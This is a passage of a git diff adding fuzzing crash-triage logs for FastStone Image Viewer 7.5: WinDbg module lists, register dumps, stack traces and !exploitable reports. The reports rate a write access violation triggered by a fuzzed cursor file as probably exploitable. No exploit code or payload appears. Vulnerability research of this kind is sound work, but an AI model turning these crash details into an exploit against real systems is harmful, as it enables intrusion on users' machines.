C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`055c0000 00000000`055dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1304.1ca4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.53047e+007 3.48169e-015 -1.73171e-032 -5.00572e+025 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00316000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00316000 b43c2d5a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6295 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00316000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..3d7f83d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1304: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1304: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`055c0000 00000000`055dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1304.1ca4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f37b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.757935550378558560000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.53047e+007 3.48169e-015 -1.73171e-032 -5.00572e+025 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08018130 07f95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00316000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00316000 b43c2d5a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6295 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00316000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e021bae --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60149/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1700: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1700: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 